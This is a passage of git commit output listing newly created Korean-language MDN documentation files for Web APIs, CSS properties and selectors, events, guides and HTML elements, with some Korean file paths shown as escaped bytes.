files/ko/web/api/serviceworkerregistration/active/index.html create mode 100644 files/ko/web/api/serviceworkerregistration/index.html create mode 100644 files/ko/web/api/serviceworkerregistration/installing/index.html create mode 100644 files/ko/web/api/serviceworkerregistration/navigationpreload/index.html create mode 100644 files/ko/web/api/sharedworker/index.html create mode 100644 files/ko/web/api/storage/index.html create mode 100644 files/ko/web/api/storage/key/index.html create mode 100644 files/ko/web/api/storage/length/index.html create mode 100644 files/ko/web/api/storage/removeitem/index.html create mode 100644 files/ko/web/api/storageevent/index.html create mode 100644 files/ko/web/api/streams_api/index.html create mode 100644 files/ko/web/api/streams_api/using_readable_streams/index.html create mode 100644 "files/ko/web/api/streams_api/\354\273\250\354\205\211/index.html" create mode 100644 files/ko/web/api/stylesheet/index.html create mode 100644 files/ko/web/api/svgrect/index.html create mode 100644 files/ko/web/api/text/index.html create mode 100644 files/ko/web/api/text/splittext/index.html create mode 100644 files/ko/web/api/text/text/index.html create mode 100644 files/ko/web/api/touch_events/index.html create mode 100644 files/ko/web/api/treewalker/currentnode/index.html create mode 100644 files/ko/web/api/treewalker/index.html create mode 100644 files/ko/web/api/url/createobjecturl/index.html create mode 100644 files/ko/web/api/url/hash/index.html create mode 100644 files/ko/web/api/url/host/index.html create mode 100644 files/ko/web/api/url/hostname/index.html create mode 100644 files/ko/web/api/url/href/index.html create mode 100644 files/ko/web/api/url/index.html create mode 100644 files/ko/web/api/url/origin/index.html create mode 100644 files/ko/web/api/url/password/index.html create mode 100644 files/ko/web/api/url/pathname/index.html create mode 100644 files/ko/web/api/url/port/index.html create mode 100644 files/ko/web/api/url/protocol/index.html create mode 100644 files/ko/web/api/url/revokeobjecturl/index.html create mode 100644 files/ko/web/api/url/search/index.html create mode 100644 files/ko/web/api/url/searchparams/index.html create mode 100644 files/ko/web/api/url/tojson/index.html create mode 100644 files/ko/web/api/url/tostring/index.html create mode 100644 files/ko/web/api/url/url/index.html create mode 100644 files/ko/web/api/url/username/index.html create mode 100644 files/ko/web/api/urlsearchparams/index.html create mode 100644 files/ko/web/api/urlsearchparams/tostring/index.html create mode 100644 files/ko/web/api/urlsearchparams/urlsearchparams/index.html create mode 100644 files/ko/web/api/usvstring/index.html create mode 100644 files/ko/web/api/validitystate/index.html create mode 100644 files/ko/web/api/vreyeparameters/index.html create mode 100644 files/ko/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.html create mode 100644 files/ko/web/api/web_audio_api/index.html create mode 100644 files/ko/web/api/web_audio_api/using_web_audio_api/index.html create mode 100644 files/ko/web/api/web_storage_api/index.html create mode 100644 files/ko/web/api/web_storage_api/using_the_web_storage_api/index.html create mode 100644 files/ko/web/api/web_workers_api/basic_usage/index.html create mode 100644 files/ko/web/api/web_workers_api/index.html create mode 100644 files/ko/web/api/web_workers_api/structured_clone_algorithm/index.html create mode 100644 files/ko/web/api/webgl_api/by_example/clearing_by_clicking/index.html create mode 100644 files/ko/web/api/webgl_api/by_example/detect_webgl/index.html create mode 100644 files/ko/web/api/webgl_api/by_example/hello_glsl/index.html create mode 100644 files/ko/web/api/webgl_api/by_example/hello_vertex_attributes/index.html create mode 100644 files/ko/web/api/webgl_api/by_example/index.html create mode 100644 files/ko/web/api/webgl_api/by_example/scissor_animation/index.html create mode 100644 files/ko/web/api/webgl_api/by_example/simple_color_animation/index.html create mode 100644 files/ko/web/api/webgl_api/by_example/textures_from_code/index.html create mode 100644 files/ko/web/api/webgl_api/cross-domain_textures/index.html create mode 100644 files/ko/web/api/webgl_api/index.html create mode 100644 files/ko/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html create mode 100644 files/ko/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html create mode 100644 files/ko/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html create mode 100644 files/ko/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html create mode 100644 files/ko/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html create mode 100644 files/ko/web/api/webgl_api/tutorial/index.html create mode 100644 files/ko/web/api/webgl_api/tutorial/lighting_in_webgl/index.html create mode 100644 files/ko/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html create mode 100644 files/ko/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html create mode 100644 files/ko/web/api/webgl_api/webgl_best_practices/index.html create mode 100644 files/ko/web/api/webglrenderbuffer/index.html create mode 100644 files/ko/web/api/webglshader/index.html create mode 100644 files/ko/web/api/webrtc_api/adapter.js/index.html create mode 100644 files/ko/web/api/webrtc_api/index.html create mode 100644 files/ko/web/api/webrtc_api/protocols/index.html create mode 100644 files/ko/web/api/webrtc_api/signaling_and_video_calling/index.html create mode 100644 files/ko/web/api/webrtc_api/using_data_channels/index.html create mode 100644 files/ko/web/api/websocket/index.html create mode 100644 files/ko/web/api/websocket/readystate/index.html create mode 100644 files/ko/web/api/websocket/websocket/index.html create mode 100644 files/ko/web/api/window/alert/index.html create mode 100644 files/ko/web/api/window/beforeunload_event/index.html create mode 100644 files/ko/web/api/window/cancelanimationframe/index.html create mode 100644 files/ko/web/api/window/closed/index.html create mode 100644 files/ko/web/api/window/confirm/index.html create mode 100644 files/ko/web/api/window/console/index.html create mode 100644 files/ko/web/api/window/crypto/index.html create mode 100644 files/ko/web/api/window/customelements/index.html create mode 100644 files/ko/web/api/window/devicepixelratio/index.html create mode 100644 files/ko/web/api/window/document/index.html create mode 100644 files/ko/web/api/window/event/index.html create mode 100644 files/ko/web/api/window/frameelement/index.html create mode 100644 files/ko/web/api/window/getcomputedstyle/index.html create mode 100644 files/ko/web/api/window/getselection/index.html create mode 100644 files/ko/web/api/window/history/index.html create mode 100644 files/ko/web/api/window/index.html create mode 100644 files/ko/web/api/window/innerwidth/index.html create mode 100644 files/ko/web/api/window/length/index.html create mode 100644 files/ko/web/api/window/localstorage/index.html create mode 100644 files/ko/web/api/window/location/index.html create mode 100644 files/ko/web/api/window/matchmedia/index.html create mode 100644 files/ko/web/api/window/name/index.html create mode 100644 files/ko/web/api/window/navigator/index.html create mode 100644 files/ko/web/api/window/open/index.html create mode 100644 files/ko/web/api/window/opener/index.html create mode 100644 files/ko/web/api/window/orientationchange_event/index.html create mode 100644 files/ko/web/api/window/outerwidth/index.html create mode 100644 files/ko/web/api/window/pageyoffset/index.html create mode 100644 files/ko/web/api/window/popstate_event/index.html create mode 100644 files/ko/web/api/window/postmessage/index.html create mode 100644 files/ko/web/api/window/prompt/index.html create mode 100644 files/ko/web/api/window/requestanimationframe/index.html create mode 100644 files/ko/web/api/window/requestidlecallback/index.html create mode 100644 files/ko/web/api/window/resize_event/index.html create mode 100644 files/ko/web/api/window/resizeto/index.html create mode 100644 files/ko/web/api/window/scrollto/index.html create mode 100644 files/ko/web/api/window/scrollx/index.html create mode 100644 files/ko/web/api/window/scrolly/index.html create mode 100644 files/ko/web/api/window/self/index.html create mode 100644 files/ko/web/api/window/sessionstorage/index.html create mode 100644 files/ko/web/api/window/status/index.html create mode 100644 files/ko/web/api/window/stop/index.html create mode 100644 files/ko/web/api/window/toolbar/index.html create mode 100644 files/ko/web/api/window/top/index.html create mode 100644 files/ko/web/api/window/unload_event/index.html create mode 100644 files/ko/web/api/window/window/index.html create mode 100644 files/ko/web/api/windoweventhandlers/index.html create mode 100644 files/ko/web/api/windoweventhandlers/onhashchange/index.html create mode 100644 files/ko/web/api/windoweventhandlers/onpopstate/index.html create mode 100644 files/ko/web/api/windoweventhandlers/onstorage/index.html create mode 100644 files/ko/web/api/windowtimers/settimeout/index.html create mode 100644 files/ko/web/api/worker/index.html create mode 100644 files/ko/web/api/worker/postmessage/index.html create mode 100644 files/ko/web/api/writablestream/index.html create mode 100644 files/ko/web/api/xmlhttprequest/index.html create mode 100644 files/ko/web/api/xmlhttprequest/setrequestheader/index.html create mode 100644 files/ko/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html create mode 100644 files/ko/web/api/xmlhttprequest/timeout/index.html create mode 100644 files/ko/web/api/xmlhttprequest/upload/index.html create mode 100644 files/ko/web/apps/design/index.html create mode 100644 files/ko/web/apps/publishing/marketplace_review_criteria/index.html create mode 100644 files/ko/web/css/-moz-image-region/index.html create mode 100644 files/ko/web/css/-webkit-line-clamp/index.html create mode 100644 files/ko/web/css/-webkit-overflow-scrolling/index.html create mode 100644 files/ko/web/css/@charset/index.html create mode 100644 files/ko/web/css/@font-face/font-display/index.html create mode 100644 files/ko/web/css/@font-face/index.html create mode 100644 files/ko/web/css/@import/index.html create mode 100644 files/ko/web/css/@keyframes/index.html create mode 100644 files/ko/web/css/@media/index.html create mode 100644 files/ko/web/css/@media/prefers-color-scheme/index.html create mode 100644 files/ko/web/css/@namespace/index.html create mode 100644 files/ko/web/css/@page/index.html create mode 100644 files/ko/web/css/@supports/index.html create mode 100644 files/ko/web/css/@viewport/height/index.html create mode 100644 files/ko/web/css/@viewport/index.html create mode 100644 files/ko/web/css/@viewport/viewport-fit/index.html create mode 100644 files/ko/web/css/@viewport/zoom/index.html create mode 100644 files/ko/web/css/_colon_active/index.html create mode 100644 files/ko/web/css/_colon_checked/index.html create mode 100644 files/ko/web/css/_colon_default/index.html create mode 100644 files/ko/web/css/_colon_defined/index.html create mode 100644 files/ko/web/css/_colon_disabled/index.html create mode 100644 files/ko/web/css/_colon_enabled/index.html create mode 100644 files/ko/web/css/_colon_first-child/index.html create mode 100644 files/ko/web/css/_colon_first-of-type/index.html create mode 100644 files/ko/web/css/_colon_first/index.html create mode 100644 files/ko/web/css/_colon_focus-within/index.html create mode 100644 files/ko/web/css/_colon_focus/index.html create mode 100644 files/ko/web/css/_colon_fullscreen/index.html create mode 100644 files/ko/web/css/_colon_hover/index.html create mode 100644 files/ko/web/css/_colon_link/index.html create mode 100644 files/ko/web/css/_colon_not/index.html create mode 100644 files/ko/web/css/_colon_nth-child/index.html create mode 100644 files/ko/web/css/_colon_root/index.html create mode 100644 files/ko/web/css/_colon_visited/index.html create mode 100644 files/ko/web/css/_doublecolon_after/index.html create mode 100644 files/ko/web/css/_doublecolon_before/index.html create mode 100644 files/ko/web/css/_doublecolon_placeholder/index.html create mode 100644 files/ko/web/css/actual_value/index.html create mode 100644 files/ko/web/css/align-content/index.html create mode 100644 files/ko/web/css/all/index.html create mode 100644 files/ko/web/css/all_about_the_containing_block/index.html create mode 100644 files/ko/web/css/alternative_style_sheets/index.html create mode 100644 files/ko/web/css/angle-percentage/index.html create mode 100644 files/ko/web/css/angle/index.html create mode 100644 files/ko/web/css/animation-delay/index.html create mode 100644 files/ko/web/css/animation-direction/index.html create mode 100644 files/ko/web/css/animation-duration/index.html create mode 100644 files/ko/web/css/animation-fill-mode/index.html create mode 100644 files/ko/web/css/animation/index.html create mode 100644 files/ko/web/css/at-rule/index.html create mode 100644 files/ko/web/css/attribute_selectors/index.html create mode 100644 files/ko/web/css/backdrop-filter/index.html create mode 100644 files/ko/web/css/backface-visibility/index.html create mode 100644 files/ko/web/css/background-attachment/index.html create mode 100644 files/ko/web/css/background-clip/index.html create mode 100644 files/ko/web/css/background-color/index.html create mode 100644 files/ko/web/css/background-image/index.html create mode 100644 files/ko/web/css/background-origin/index.html create mode 100644 files/ko/web/css/background-repeat/index.html create mode 100644 files/ko/web/css/background-size/index.html create mode 100644 files/ko/web/css/background/index.html create mode 100644 files/ko/web/css/basic-shape/index.html create mode 100644 files/ko/web/css/blend-mode/index.html create mode 100644 files/ko/web/css/border-bottom-color/index.html create mode 100644 files/ko/web/css/border-bottom-style/index.html create mode 100644 files/ko/web/css/border-bottom-width/index.html create mode 100644 files/ko/web/css/border-bottom/index.html create mode 100644 files/ko/web/css/border-collapse/index.html create mode 100644 files/ko/web/css/border-color/index.html create mode 100644 files/ko/web/css/border-image-outset/index.html create mode 100644 files/ko/web/css/border-image-repeat/index.html create mode 100644 files/ko/web/css/border-image-slice/index.html create mode 100644 files/ko/web/css/border-image-source/index.html create mode 100644 files/ko/web/css/border-image-width/index.html create mode 100644 files/ko/web/css/border-image/index.html create mode 100644 files/ko/web/css/border-left-color/index.html create mode 100644 files/ko/web/css/border-left-style/index.html create mode 100644 files/ko/web/css/border-left-width/index.html create mode 100644 files/ko/web/css/border-left/index.html create mode 100644 files/ko/web/css/border-radius/index.html create mode 100644 files/ko/web/css/border-right-color/index.html create mode 100644 files/ko/web/css/border-right-style/index.html create mode 100644 files/ko/web/css/border-right-width/index.html create mode 100644 files/ko/web/css/border-right/index.html create mode 100644 files/ko/web/css/border-spacing/index.html create mode 100644 files/ko/web/css/border-style/index.html create mode 100644 files/ko/web/css/border-top-color/index.html create mode 100644 files/ko/web/css/border-top-style/index.html create mode 100644 files/ko/web/css/border-top-width/index.html create mode 100644 files/ko/web/css/border-top/index.html create mode 100644 files/ko/web/css/border-width/index.html create mode 100644 files/ko/web/css/border/index.html create mode 100644 files/ko/web/css/box-shadow/index.html create mode 100644 files/ko/web/css/box-sizing/index.html create mode 100644 files/ko/web/css/calc()/index.html create mode 100644 files/ko/web/css/cascade/index.html create mode 100644 files/ko/web/css/child_combinator/index.html create mode 100644 files/ko/web/css/class_selectors/index.html create mode 100644 files/ko/web/css/clear/index.html create mode 100644 files/ko/web/css/clip-path/index.html create mode 100644 files/ko/web/css/color/index.html create mode 100644 files/ko/web/css/color_value/index.html create mode 100644 files/ko/web/css/comments/index.html create mode 100644 files/ko/web/css/common_css_questions/index.html create mode 100644 files/ko/web/css/computed_value/index.html create mode 100644 files/ko/web/css/contain/index.html create mode 100644 files/ko/web/css/content/index.html create mode 100644 files/ko/web/css/css_animated_properties/index.html create mode 100644 files/ko/web/css/css_animations/index.html create mode 100644 files/ko/web/css/css_animations/using_css_animations/index.html create mode 100644 files/ko/web/css/css_background_and_borders/border-image_generator/index.html create mode 100644 files/ko/web/css/css_background_and_borders/border-radius_generator/index.html create mode 100644 files/ko/web/css/css_background_and_borders/box-shadow_generator/index.html create mode 100644 files/ko/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html create mode 100644 files/ko/web/css/css_backgrounds_and_borders/index.html create mode 100644 files/ko/web/css/css_backgrounds_and_borders/scaling_background_images/index.html create mode 100644 files/ko/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html create mode 100644 files/ko/web/css/css_basic_user_interface/index.html create mode 100644 files/ko/web/css/css_box_model/index.html create mode 100644 files/ko/web/css/css_box_model/introduction_to_the_css_box_model/index.html create mode 100644 files/ko/web/css/css_box_model/mastering_margin_collapsing/index.html create mode 100644 files/ko/web/css/css_charsets/index.html create mode 100644 files/ko/web/css/css_color/index.html create mode 100644 files/ko/web/css/css_colors/color_picker_tool/index.html create mode 100644 files/ko/web/css/css_columns/index.html create mode 100644 files/ko/web/css/css_conditional_rules/index.html create mode 100644 files/ko/web/css/css_containment/index.html create mode 100644 files/ko/web/css/css_device_adaptation/index.html create mode 100644 files/ko/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html create mode 100644 "files/ko/web/css/css_flexible_box_layout/flexbox\354\235\230_\352\270\260\353\263\270_\352\260\234\353\205\220/index.html" create mode 100644 files/ko/web/css/css_flexible_box_layout/index.html create mode 100644 "files/ko/web/css/css_flexible_box_layout/\352\260\200\353\263\200\354\203\201\354\236\220\354\235\230_\353\214\200\355\221\234\354\240\201\354\235\270_\354\202\254\354\232\251\353\241\200/index.html" create mode 100644 files/ko/web/css/css_flow_layout/index.html create mode 100644 files/ko/web/css/css_flow_layout/intro_to_formatting_contexts/index.html create mode 100644 "files/ko/web/css/css_flow_layout/\353\214\200\354\227\264\352\263\274_\355\203\210\353\214\200\354\227\264/index.html" create mode 100644 "files/ko/web/css/css_flow_layout/\354\235\274\353\260\230_\355\235\220\353\246\204_\354\206\215_\353\270\224\353\241\235_\353\260\217_\354\235\270\353\235\274\354\235\270_\353\240\210\354\235\264\354\225\204\354\233\203/index.html" create mode 100644 "files/ko/web/css/css_flow_layout/\355\235\220\353\246\204_\353\240\210\354\235\264\354\225\204\354\233\203\352\263\274_\354\223\260\352\270\260_\353\252\250\353\223\234/index.html" create mode 100644 "files/ko/web/css/css_flow_layout/\355\235\220\353\246\204_\353\240\210\354\235\264\354\225\204\354\233\203\352\263\274_\354\230\244\353\262\204\355\224\214\353\241\234/index.html" create mode 100644 files/ko/web/css/css_fonts/index.html create mode 100644 files/ko/web/css/css_generated_content/index.html create mode 100644 files/ko/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html create mode 100644 files/ko/web/css/css_grid_layout/grid_template_areas/index.html create mode 100644 files/ko/web/css/css_grid_layout/index.html create mode 100644 files/ko/web/css/css_grid_layout/layout_using_named_grid_lines/index.html create mode 100644 files/ko/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html create mode 100644 files/ko/web/css/css_grid_layout/relationship_of_grid_layout/index.html create mode 100644 files/ko/web/css/css_images/implementing_image_sprites_in_css/index.html create mode 100644 files/ko/web/css/css_images/index.html create mode 100644 files/ko/web/css/css_images/using_css_gradients/index.html create mode 100644 files/ko/web/css/css_lists_and_counters/index.html create mode 100644 files/ko/web/css/css_lists_and_counters/using_css_counters/index.html create mode 100644 files/ko/web/css/css_logical_properties/index.html create mode 100644 files/ko/web/css/css_masks/index.html create mode 100644 files/ko/web/css/css_miscellaneous/index.html create mode 100644 files/ko/web/css/css_namespaces/index.html create mode 100644 files/ko/web/css/css_pages/index.html create mode 100644 files/ko/web/css/css_positioning/index.html create mode 100644 files/ko/web/css/css_positioning/understanding_z_index/adding_z-index/index.html create mode 100644 files/ko/web/css/css_positioning/understanding_z_index/index.html create mode 100644 files/ko/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html create mode 100644 files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html create mode 100644 files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html create mode 100644 files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html create mode 100644 files/ko/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html create mode 100644 files/ko/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html create mode 100644 files/ko/web/css/css_ruby/index.html create mode 100644 files/ko/web/css/css_scroll_snap_points/index.html create mode 100644 files/ko/web/css/css_selectors/index.html create mode 100644 files/ko/web/css/css_shapes/index.html create mode 100644 files/ko/web/css/css_table/index.html create mode 100644 files/ko/web/css/css_text/index.html create mode 100644 files/ko/web/css/css_text_decoration/index.html create mode 100644 files/ko/web/css/css_transforms/index.html create mode 100644 files/ko/web/css/css_transforms/using_css_transforms/index.html create mode 100644 files/ko/web/css/css_transitions/index.html create mode 100644 files/ko/web/css/css_transitions/using_css_transitions/index.html create mode 100644 files/ko/web/css/css_types/index.html create mode 100644 files/ko/web/css/css_variables/index.html create mode 100644 files/ko/web/css/css_writing_modes/index.html create mode 100644 "files/ko/web/css/css_\353\213\250\354\234\204\354\231\200_\352\260\222/index.html" create mode 100644 files/ko/web/css/cursor/index.html create mode 100644 files/ko/web/css/cursor/using_url_values_for_the_cursor_property/index.html create mode 100644 files/ko/web/css/descendant_combinator/index.html create mode 100644 files/ko/web/css/display-internal/index.html create mode 100644 files/ko/web/css/display/index.html create mode 100644 files/ko/web/css/filter-function/blur()/index.html create mode 100644 files/ko/web/css/filter-function/brightness()/index.html create mode 100644 files/ko/web/css/filter-function/contrast()/index.html create mode 100644 files/ko/web/css/filter-function/index.html create mode 100644 files/ko/web/css/filter/index.html create mode 100644 files/ko/web/css/filter_effects/index.html create mode 100644 files/ko/web/css/flex-basis/index.html create mode 100644 files/ko/web/css/flex-direction/index.html create mode 100644 files/ko/web/css/flex-flow/index.html create mode 100644 files/ko/web/css/flex-grow/index.html create mode 100644 files/ko/web/css/flex-shrink/index.html create mode 100644 files/ko/web/css/flex-wrap/index.html create mode 100644 files/ko/web/css/flex/index.html create mode 100644 files/ko/web/css/float/index.html create mode 100644 files/ko/web/css/font-family/index.html create mode 100644 files/ko/web/css/font-feature-settings/index.html create mode 100644 files/ko/web/css/font-size/index.html create mode 100644 files/ko/web/css/font-synthesis/index.html create mode 100644 files/ko/web/css/font-weight/index.html create mode 100644 files/ko/web/css/font/index.html create mode 100644 files/ko/web/css/frequency/index.html create mode 100644 files/ko/web/css/gap/index.html create mode 100644 files/ko/web/css/general_sibling_combinator/index.html create mode 100644 files/ko/web/css/getting_started/javascript/index.html create mode 100644 files/ko/web/css/getting_started/svg_graphics/index.html create mode 100644 files/ko/web/css/getting_started/xbl_bindings/index.html create mode 100644 files/ko/web/css/getting_started/xml_data/index.html create mode 100644 files/ko/web/css/getting_started/xul_user_interfaces/index.html create mode 100644 files/ko/web/css/gradient/index.html create mode 100644 files/ko/web/css/grid-area/index.html create mode 100644 files/ko/web/css/grid/index.html create mode 100644 files/ko/web/css/height/index.html create mode 100644 files/ko/web/css/hyphens/index.html create mode 100644 files/ko/web/css/id_selectors/index.html create mode 100644 files/ko/web/css/image-rendering/index.html create mode 100644 files/ko/web/css/image/index.html create mode 100644 files/ko/web/css/index.html create mode 100644 files/ko/web/css/index/index.html create mode 100644 files/ko/web/css/inherit/index.html create mode 100644 files/ko/web/css/inheritance/index.html create mode 100644 files/ko/web/css/initial/index.html create mode 100644 files/ko/web/css/initial_value/index.html create mode 100644 files/ko/web/css/integer/index.html create mode 100644 files/ko/web/css/isolation/index.html create mode 100644 files/ko/web/css/layout_mode/index.html create mode 100644 files/ko/web/css/length-percentage/index.html create mode 100644 files/ko/web/css/length/index.html create mode 100644 files/ko/web/css/letter-spacing/index.html create mode 100644 files/ko/web/css/line-break/index.html create mode 100644 files/ko/web/css/linear-gradient()/index.html create mode 100644 files/ko/web/css/margin-bottom/index.html create mode 100644 files/ko/web/css/margin-left/index.html create mode 100644 files/ko/web/css/margin-right/index.html create mode 100644 files/ko/web/css/margin-top/index.html create mode 100644 files/ko/web/css/margin/index.html create mode 100644 files/ko/web/css/mask/index.html create mode 100644 files/ko/web/css/max-height/index.html create mode 100644 files/ko/web/css/max-width/index.html create mode 100644 files/ko/web/css/media_queries/index.html create mode 100644 files/ko/web/css/media_queries/using_media_queries_for_accessibility/index.html create mode 100644 files/ko/web/css/min-height/index.html create mode 100644 files/ko/web/css/min-width/index.html create mode 100644 files/ko/web/css/mix-blend-mode/index.html create mode 100644 files/ko/web/css/number/index.html create mode 100644 files/ko/web/css/object-fit/index.html create mode 100644 files/ko/web/css/object-position/index.html create mode 100644 files/ko/web/css/opacity/index.html create mode 100644 files/ko/web/css/order/index.html create mode 100644 files/ko/web/css/outline-style/index.html create mode 100644 files/ko/web/css/outline-width/index.html create mode 100644 files/ko/web/css/outline/index.html create mode 100644 files/ko/web/css/overflow-wrap/index.html create mode 100644 files/ko/web/css/overflow/index.html create mode 100644 files/ko/web/css/padding-bottom/index.html create mode 100644 files/ko/web/css/padding-left/index.html create mode 100644 files/ko/web/css/padding-right/index.html create mode 100644 files/ko/web/css/padding-top/index.html create mode 100644 files/ko/web/css/padding/index.html create mode 100644 files/ko/web/css/paged_media/index.html create mode 100644 files/ko/web/css/paint-order/index.html create mode 100644 files/ko/web/css/percentage/index.html create mode 100644 files/ko/web/css/pointer-events/index.html create mode 100644 files/ko/web/css/position/index.html create mode 100644 files/ko/web/css/position_value/index.html create mode 100644 files/ko/web/css/pseudo-classes/index.html create mode 100644 files/ko/web/css/pseudo-elements/index.html create mode 100644 files/ko/web/css/reference/index.html create mode 100644 files/ko/web/css/reference/property_template/index.html create mode 100644 files/ko/web/css/replaced_element/index.html create mode 100644 files/ko/web/css/resolved_value/index.html create mode 100644 files/ko/web/css/revert/index.html create mode 100644 files/ko/web/css/selector_list/index.html create mode 100644 files/ko/web/css/shorthand_properties/index.html create mode 100644 files/ko/web/css/specificity/index.html create mode 100644 files/ko/web/css/specified_value/index.html create mode 100644 files/ko/web/css/syntax/index.html create mode 100644 files/ko/web/css/tab-size/index.html create mode 100644 files/ko/web/css/text-align/index.html create mode 100644 files/ko/web/css/text-decoration/index.html create mode 100644 files/ko/web/css/text-shadow/index.html create mode 100644 files/ko/web/css/time/index.html create mode 100644 files/ko/web/css/transform-function/index.html create mode 100644 files/ko/web/css/transform-function/matrix()/index.html create mode 100644 files/ko/web/css/transform-function/scalex()/index.html create mode 100644 files/ko/web/css/transform/index.html create mode 100644 files/ko/web/css/transition-delay/index.html create mode 100644 files/ko/web/css/transition/index.html create mode 100644 files/ko/web/css/type_selectors/index.html create mode 100644 files/ko/web/css/universal_selectors/index.html create mode 100644 files/ko/web/css/unset/index.html create mode 100644 files/ko/web/css/url/index.html create mode 100644 files/ko/web/css/used_value/index.html create mode 100644 files/ko/web/css/user-select/index.html create mode 100644 files/ko/web/css/using_css_custom_properties/index.html create mode 100644 files/ko/web/css/value_definition_syntax/index.html create mode 100644 files/ko/web/css/var()/index.html create mode 100644 files/ko/web/css/vertical-align/index.html create mode 100644 files/ko/web/css/visibility/index.html create mode 100644 files/ko/web/css/white-space/index.html create mode 100644 files/ko/web/css/width/index.html create mode 100644 files/ko/web/css/will-change/index.html create mode 100644 files/ko/web/css/word-break/index.html create mode 100644 files/ko/web/css/word-spacing/index.html create mode 100644 files/ko/web/css/z-index/index.html create mode 100644 "files/ko/web/css/\354\213\234\354\236\221\355\225\230\352\270\260/\353\246\254\354\212\244\355\212\270/index.html" create mode 100644 "files/ko/web/css/\354\213\234\354\236\221\355\225\230\352\270\260/\353\257\270\353\224\224\354\226\264/index.html" create mode 100644 "files/ko/web/css/\354\213\234\354\236\221\355\225\230\352\270\260/\353\260\260\354\271\230/index.html" create mode 100644 "files/ko/web/css/\354\213\234\354\236\221\355\225\230\352\270\260/\354\203\201\354\236\220/index.html" create mode 100644 "files/ko/web/css/\354\213\234\354\236\221\355\225\230\352\270\260/\354\242\205\354\206\215\352\263\274_\354\203\201\354\206\215/index.html" create mode 100644 "files/ko/web/css/\354\213\234\354\236\221\355\225\230\352\270\260/\355\205\214\354\235\264\353\270\224/index.html" create mode 100644 "files/ko/web/css/\354\213\234\354\236\221\355\225\230\352\270\260/\355\205\215\354\212\244\355\212\270_\354\212\244\355\203\200\354\235\274/index.html" create mode 100644 "files/ko/web/css/\354\235\270\354\240\221_\355\230\225\354\240\234_\354\204\240\355\203\235\354\236\220/index.html" create mode 100644 files/ko/web/events/abort/index.html create mode 100644 files/ko/web/events/blur/index.html create mode 100644 files/ko/web/events/chargingchange/index.html create mode 100644 files/ko/web/events/domcontentloaded/index.html create mode 100644 files/ko/web/events/domsubtreemodified/index.html create mode 100644 files/ko/web/events/index.html create mode 100644 files/ko/web/events/load/index.html create mode 100644 files/ko/web/events/message/index.html create mode 100644 files/ko/web/exslt/index.html create mode 100644 files/ko/web/guide/ajax/community/index.html create mode 100644 files/ko/web/guide/ajax/getting_started/index.html create mode 100644 files/ko/web/guide/ajax/index.html create mode 100644 files/ko/web/guide/api/index.html create mode 100644 files/ko/web/guide/api/vibration/vibration/index.html create mode 100644 files/ko/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html create mode 100644 files/ko/web/guide/audio_and_video_delivery/index.html create mode 100644 files/ko/web/guide/css/block_formatting_context/index.html create mode 100644 files/ko/web/guide/css/media_queries/index.html create mode 100644 files/ko/web/guide/css/visual_formatting_model/index.html create mode 100644 files/ko/web/guide/dom/index.html create mode 100644 files/ko/web/guide/dom/using_full_screen_mode/index.html create mode 100644 files/ko/web/guide/events/creating_and_triggering_events/index.html create mode 100644 files/ko/web/guide/events/index.html create mode 100644 files/ko/web/guide/events/overview_of_events_and_handlers/index.html create mode 100644 files/ko/web/guide/html/content_categories/index.html create mode 100644 files/ko/web/guide/html/content_editable/index.html create mode 100644 files/ko/web/guide/index.html create mode 100644 files/ko/web/guide/index/index.html create mode 100644 files/ko/web/guide/mobile/index.html create mode 100644 files/ko/web/guide/mobile/separate_sites/index.html create mode 100644 "files/ko/web/guide/xml_\355\214\214\354\213\261_\353\260\217_\354\247\201\353\240\254\355\231\224/index.html" create mode 100644 "files/ko/web/guide/\352\267\270\353\236\230\355\224\275/index.html" create mode 100644 files/ko/web/html/applying_color/index.html create mode 100644 files/ko/web/html/attributes/autocomplete/index.html create mode 100644 files/ko/web/html/attributes/crossorigin/index.html create mode 100644 files/ko/web/html/attributes/index.html create mode 100644 files/ko/web/html/block-level_elements/index.html create mode 100644 files/ko/web/html/canvas/index.html create mode 100644 files/ko/web/html/canvas/manipulating_video_using_canvas/index.html create mode 100644 files/ko/web/html/canvas/tutorial/advanced_animations/index.html create mode 100644 files/ko/web/html/canvas/tutorial/applying_styles_and_colors/index.html create mode 100644 files/ko/web/html/canvas/tutorial/basic_animations/index.html create mode 100644 files/ko/web/html/canvas/tutorial/basic_usage/index.html create mode 100644 files/ko/web/html/canvas/tutorial/compositing/example/index.html create mode 100644 files/ko/web/html/canvas/tutorial/compositing/index.html create mode 100644 files/ko/web/html/canvas/tutorial/drawing_shapes/index.html create mode 100644 files/ko/web/html/canvas/tutorial/finale/index.html create mode 100644 files/ko/web/html/canvas/tutorial/hit_regions_and_accessibility/index.html create mode 100644 files/ko/web/html/canvas/tutorial/index.html create mode 100644 files/ko/web/html/canvas/tutorial/optimizing_canvas/index.html create mode 100644 files/ko/web/html/canvas/tutorial/using_images/index.html create mode 100644 "files/ko/web/html/canvas/tutorial/\353\263\200\355\230\225/index.html" create mode 100644 files/ko/web/html/cors_enabled_image/index.html create mode 100644 files/ko/web/html/element/a/index.html create mode 100644 files/ko/web/html/element/abbr/index.html create mode 100644 files/ko/web/html/element/address/index.html create mode 100644 files/ko/web/html/element/applet/index.html create mode 100644 files/ko/web/html/element/area/index.html create mode 100644 files/ko/web/html/element/article/index.html create mode 100644 files/ko/web/html/element/aside/index.html create mode 100644 files/ko/web/html/element/audio/index.html create mode 100644 